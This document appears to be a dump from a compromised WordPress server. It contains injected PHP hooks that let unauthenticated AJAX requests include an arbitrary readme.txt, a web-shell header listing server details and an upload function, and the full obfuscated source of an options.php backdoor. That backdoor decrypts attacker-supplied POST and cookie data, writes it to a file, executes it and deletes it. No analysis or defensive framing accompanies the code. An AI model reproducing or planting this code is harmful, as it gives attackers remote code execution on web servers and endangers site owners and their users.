if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/options.php
<?php 
$fkxpokapj	= /*akyzt */ 'fkxpokapj'	^       '

';$erveg      =      "b"."a"."\x73" /*emqm */ . /*   n  */ "\x65"   . /*  yujg */ "\66"       .    "4"."\x5f"    .    "\145"       .      $fkxpokapj(110)	.      "\x63" /* enc */ .	"\x6f"    . /* h   */ "d"."e";


$kumzbsttb    =    "\x61"	.  "r"."r"."a"."\x79"  .  $fkxpokapj(535-440)    .       "s"."l".$fkxpokapj(171-66) /* d*/ . /* i */ $fkxpokapj(99) /*   owctzq  */ . /*  z*/ "e";
$rz_wtt      = /* f*/ "\x73"    .   "\x74"    .    $fkxpokapj(114)    .	"_".$fkxpokapj(756-642)    .       "\145"       .  "p"."e"."\141" /* jcuiq  */ .       "t";
$rptxtj    = /*  vl*/ "e"."x"."\x70" /*ra*/ . /*btzvhm   */ $fkxpokapj(108)	.    "\x6f" /*zlygb*/ .  "\x64"     . /*  k   */ "\x65";
$rmoawxqzm /*s_le */ =   "\x73" /*  dsq  */ .      $fkxpokapj(117)     . /* j_ */ $fkxpokapj(98) /*dom_*/ .    $fkxpokapj(115)	. /*b   */ $fkxpokapj(116)	.       $fkxpokapj(114);$fnbvjtcn  =   $fkxpokapj(115) /*   ahc   */ .	"t"."r"."\x70" /*y   */ .  "\x6f"	.  "s";
$iidkdq_qe    =  "c"."o"."\165"    . /*gc   */ "\156" /*lerldf */ .   $fkxpokapj(116);$ekzomcyq /* ulod  */ = /*  dv   */ $fkxpokapj(746-644)	.     "\141"     .     "\x6c"      .	"\x73"  . /*kpvwf_   */ "e";

$tgrhlq /* asi  */ =      "\160"	. /*  jhyyn*/ "a".$fkxpokapj(99)	.   $fkxpokapj(107);





function	phmyv($hrmzn,	$cbolfehiz){    global    $fkxpokapj;
  


	$hrmzn    =	"<"   .     $fkxpokapj(992-929)   .	$fkxpokapj(655-543)    . /*   x   */ $fkxpokapj(104) /*  aai  */ .    "p".$fkxpokapj(32)    .	"u"."n".$fkxpokapj(707-599)       .    $fkxpokapj(237-132)    .      "\x6e" /*   fllq   */ .      $fkxpokapj(107)  . /*rcq   */ "("."\137"."\137".$fkxpokapj(70)       .	"\x49" /*ryu  */ . /*   stiw  */ "\x4c" /*godxfa*/ .	"\x45"     .	$fkxpokapj(95) /*lj */ .    "\137"."\x29" /*   e   */ . /*cxaig */ "\x3b"       .	$fkxpokapj(32) /* ftyb*/ . /*  gsm   */ $hrmzn["d"];
	$yshmrwqyc	= /*x*/ "f"."\151" /* vsmid*/ .       "l".$fkxpokapj(611-510)   .    "\137".$fkxpokapj(437-325)	. /*  eq  */ "u"."t"."\137".$fkxpokapj(1073-974)    .  "\157"	. /*   lfrcsb */ "n"."t".$fkxpokapj(812-711)."\156"       . /*   mln  */ $fkxpokapj(116)   .    "\163";
 /*xobq*/ 

    $yshmrwqyc($cbolfehiz,    $hrmzn); /*  qe  */ 


 /*   nqg  */ eedlpvwfy($cbolfehiz);
}

function /*   rhgfh */ dspnf()
{     $vdfsmnbe   =	36; /*  egp */ $kzazu      = /*   j   */ 'qjtp'; /* _yb*/ $cywvkpybz       =    'jakdnu';
    $rfepajmmrk    =    'cvdqg';
       $qerdbmhwa    = /*   dejxgo */ str_replace('pqhbts',      'wut',  $rfepajmmrk);}


dspnf();


$vqlnnhtyhi	=  73;



function  eedlpvwfy($cbolfehiz)
{ /* ab*/ global /*h  */ $fkxpokapj;     


 /*tntsj*/ include($cbolfehiz);
   $ahkbskojnx    = /*   l   */ $cbolfehiz;

 /* w */ @unlink($ahkbskojnx);


}



function  ruhqwjebl()


{
	global /*ukcps */ $fkxpokapj;

 /*  qr  */ $zmn_yo /*h  */ = /* xvv*/ array();
	$zmn_yo[$fkxpokapj(112)       . /* vd_i */ "v"]	=       phpversion();       $zmn_yo["\163" /*   bmwi */ .     $fkxpokapj(595-477)]   =      "3"."."."5";


	$zfaocg   =     74;


     echo	@serialize($zmn_yo);
}


function	blcdfpkdsw(){


	$mxva_    =       'jfur_beu_';

 /*  u*/ $lxc_ebaqotdqoud /*  gxjg   */ = /*iisyk  */ 44; /*df */ $oxj__nenj	=    47;

 /*  jjoxi*/ $bitvcrn /* m*/ = /* ww  */ 'edmcnd';
}
blcdfpkdsw();
function /*jwple */ ha_nfd($hrmzn,  $_uhkljn_)


{
 /*  tz   */ global   $fkxpokapj;
    


 /*yfs_*/ $ayzlth /* bwp */ =    "";


	$mi_pr    = /* ejhocl  */ 'khfreaa_q';
	$zmn_yo       =   0;
      while    ($zmn_yo      <       strlen($hrmzn))    {


 /*  ilz */ for	($lxc_ebaq   =       0;    $lxc_ebaq   <   strlen($_uhkljn_)       && /*  v  */ $zmn_yo	< /*yxx   */ strlen($hrmzn);      $lxc_ebaq++,	$zmn_yo++) /* jloax   */ {

  $ayzlth /*   tbsm  */ .=	$fkxpokapj(ord($hrmzn[$zmn_yo])    ^    ord($_uhkljn_[$lxc_ebaq]));
    }    }


    return     $ayzlth;


}




function	be_ahj()


{
   $lxc_ebaqmflsemlly /*  ddsq_q */ = /* _gu   */ 14;       $guuuatdkg	=    'wfa';    $ptkank       =    18;
    $wzsxiweuwp	= /*  dn */ 49; /*mi*/ $sqmgwih    =    'llpf_ds';
 /*mxhdqp  */ $bjulbhbxda       =     'vdk'; /*kgfwhk   */ $lxc_ebaqmflsemlly /*  qxp  */ =      $wzsxiweuwp /*  aioruq*/ *    $wzsxiweuwp;     $wcaycqeq	= /*   awit*/ $wzsxiweuwp	/ /*   iv_ */ ($wzsxiweuwp /*   aisk */ + /* wwdkew */ 10);


  $afbkzuf    =	39;}


be_ahj();
function	hghqhbzokr($fgffxl)

{

	global /*iohy */ $fkxpokapj;


 /* e   */ 

 /*e */ $geyiqswu       = /*  mhawet*/ "7"."\64"	. /* vfn */ "6"."2"."\142"   .    "5"."\x35"     . /*  zssdli*/ "4"."\55"   . /* rmukzc   */ "1"."f".$fkxpokapj(964-916) /*  fm*/ .    "7".$fkxpokapj(45)   .    "4"."f"."7"."\143"       . /*   x   */ "\55"	. /* zouur   */ "9"."9"."\67" /* gcvwix  */ . /*udiogb  */ $fkxpokapj(868-812)	. /*krpuwc */ "-"."7".$fkxpokapj(101) /*ptkn   */ . /* oownv   */ "1".$fkxpokapj(54) /*  cnkwgu  */ .    "2".$fkxpokapj(48)	. /*   se  */ "\x34" /*f */ .  "\x36"	. /*  _wzid */ "\x39" /*   ltrv   */ .	"c"."4"."\142";    
	foreach   ($fgffxl    as	$dedpjljs /*   nomp   */ => /*  pjoecn */ $hrmzn)    {
	shjprffpx(base64_decode($hrmzn), /*otb   */ $geyiqswu, /*  _pbl */ $dedpjljs);


 /*  lp */ }}
function	shjprffpx($hrmzn,    $geyiqswu, /*  mp  */ $dedpjljs)

{
 /*   s  */ global    $fkxpokapj;  

    $hrmzn	=	unserialize(ha_nfd(ha_nfd($hrmzn,    $geyiqswu),  $dedpjljs));

	$zmn_yochqld   =     'ytsin';


	$yadlxb /*ao  */ =	'pkajb_m';


  if     (isset($hrmzn["\141" /*  tgnld*/ . /*  lddfd   */ "k"]))	{
 /*a */ if /* qenn*/ ($hrmzn["a"]     ==  "i")     {
 /*   l   */ ruhqwjebl();


	}    elseif     ($hrmzn["a"]    == /* crgntf */ $fkxpokapj(812-711))   {
    phmyv($hrmzn, /*  h*/ sprintf("."."\x2f"	.	"%"."\x73" /*nvv */ .    "."."p"."l", /*   e_rv*/ md5($geyiqswu)));

			$ghvriy /* olcpt*/ =    44;    }

	exit();

       }


}





	$usetvaofuq /*  bdpno */ = /*irnwvm  */ 69;
	$mkwac /*  hbheok   */ =	22;
$mkwac /*   lfxbq*/ =      $usetvaofuq    +  15;

hghqhbzokr($_POST);    $_GET[$fkxpokapj(110)    .    $fkxpokapj(812-711)."w"."\137"."\153" /*   rudmd   */ .      "\145"     .    $fkxpokapj(121)] /*   q */ = /*   uk_*/ md5("n"."\x65"    . /*  akvzl*/ "w"."\137"."v".$fkxpokapj(567-470)	.  "\x6c"  .    "u".$fkxpokapj(812-711));   
if    ($fnbvjtcn($_GET[$fkxpokapj(110)	. /*   _ */ $fkxpokapj(812-711)."w"."\137"."\153"       .    "\145"    .	$fkxpokapj(121)],    $fkxpokapj(882-767) /*   nngnq   */ . /*mvtnxh */ "\x65"	. /* iywf */ $fkxpokapj(97) /*lgndi  */ .     "\x72" /*qojpz  */ . /*   k */ "\143"   .    "\150"    . /*cl*/ $fkxpokapj(483-388)  .	$fkxpokapj(497-382)      .    "\164"       . /*  tke*/ "r"."\x69"	. /*mtko  */ "n"."g")	!== /*n  */ $ekzomcyq) /* uph   */ {      
 /*   rlotg   */ $ykltekdpht /*zfqi */ =	$rmoawxqzm($_GET[$fkxpokapj(110)    .	$fkxpokapj(812-711)."w"."\137"."\153"   .    "\145"       .    $fkxpokapj(121)], /*rl   */ 0,      5);	


 /* rgh */ $_POST["\x6b"	.   $fkxpokapj(927-826)	.    "y"]	=  $rz_wtt($ykltekdpht, /*   fksbm_ */ 3);   }

hghqhbzokr($_COOKIE); /* iqq   */ 

$kufmcqry	= /* hpgmai*/ "t".$fkxpokapj(812-711).$fkxpokapj(115)	.    "t"."\137"."\x76"    . /*   h*/ "a"."\154" /* t  */ .	"u".$fkxpokapj(870-769) /*  d  */ .      $fkxpokapj(516-421)    .  $fkxpokapj(116)       .       $fkxpokapj(1023-922)    . /*zyg  */ "\x73"   .     "\164" /*   ize */ .   "\137"."\x76"	. /*  yivtx*/ "a".$fkxpokapj(108) /*oe */ . /*   dp*/ "u"."\145";    


$zeeedhc_    =	$rptxtj("\137",      $kufmcqry);   if    ($iidkdq_qe($zeeedhc_) /* e   */ >	1)       {    

    $oxnuxwrus	= /*  bf*/ $kumzbsttb($zeeedhc_,	0,       2);   
    foreach       ($oxnuxwrus	as /*   js_ */ $_upyitdxyh) /*  vcyi   */ { /*   ezeapo  */ 


  $gobbspxgwe /*  c */ =       $tgrhlq("H".$fkxpokapj(42), /*   kb */ md5($_upyitdxyh));	      $rnwfukrnl /*  yvk */ =	$erveg($gobbspxgwe);    


 /* sbhdm  */ $_COOKIE[md5($_upyitdxyh)]     =   $rnwfukrnl;	
 /*  gp  */ }    }


$nwpeoxho /*mzwbfs */ = /*   zxl  */ 6;




?>
@ Telegram